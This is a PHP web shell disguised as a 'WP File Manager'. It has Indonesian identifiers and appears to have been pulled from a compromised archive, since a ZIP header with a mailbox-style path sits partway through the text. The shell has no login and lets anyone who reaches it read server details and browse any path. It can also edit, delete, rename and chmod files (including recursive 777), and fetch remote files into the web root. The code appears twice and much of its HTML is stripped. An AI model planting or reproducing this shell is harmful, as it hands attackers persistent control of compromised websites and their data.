'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]qÜd©Ë©Ë'ilir.lajqi@matrix-financials.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
